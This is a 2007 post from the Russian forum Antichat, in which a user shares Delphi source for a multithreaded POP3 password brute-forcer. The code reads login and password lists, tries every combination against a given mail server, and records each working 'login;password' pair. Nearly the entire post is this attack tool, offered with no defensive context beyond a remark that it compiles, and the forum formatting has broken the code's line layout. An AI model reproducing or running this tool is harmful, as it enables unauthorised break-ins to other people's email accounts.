Показать сообщение отдельно

  #524  
Старый 22.08.2007, 10:50
W!z@rD
Reservists Of Antichat - Level 6
Регистрация: 12.02.2006
Сообщений: 891
С нами: 10653446

Репутация: 836


По умолчанию

PHP код:
unit Unit2;

interface 

uses 
  Classes
IdPOP3;

type 
  threed 
= class(TThread
  private 
    { Private 
declarations 
    
LLTStringList
    
PLTStringList
    
tmpIInteger
    
tmpJInteger
    
IdPOP3TIdPOP3;
    
procedure CallBack;
  protected
    
constructor Create(LoginListstringPassListstringaHoststringaPortWord);
    
procedure Executeoverride;
  public
      
destructor Destroyoverride;
  
end;

implementation 

uses unit1


constructor threed.Create(LoginListstringPassListstringaHoststringaPortWord);
begin
LL
:=TStringList.Create;
PL:=TStringList.Create;
LL.LoadFromFile(LoginList); 
PL.LoadFromFile(PassList);
IdPOP3:=TIdPOP3.Create(nil);
with IdPOP3 do 
begin 
    Host
:=aHost
    
Port:=aPort
end
inherited Create(false); 
end

procedure threed.CallBack
begin 
form1
.Memo2.Lines.Add(LL.Strings[tmpI]+';'+PL.Strings[tmpJ]);
end

destructor threed.Destroy
begin 
LL
.Free
PL.Free;
IdPOP3.Free
end

procedure threed.Execute;
var 
i,j:integer
begin 
for i:=0 to LL.Count-do
for 
j:=0 to PL.Count-do
begin 
IdPOP3
.UserName:=LL.Strings[i];
IdPOP3.Password:=PL.Strings[j];
try 
IdPOP3.Connect
except 
end

if 
IdPOP3.Connected then 
begin 
Synchronize
(CallBack); 
IdPOP3.Disconnect
end
IdPOP3.Disconnect
end
end
end
все откомпилировалось...
__________________
*********************************
*Я не волшебник ٩(๏̯͡๏)۶, только учусь...*
*********************************
Программы на заказ
Times to fly...
 
Ответить с цитированием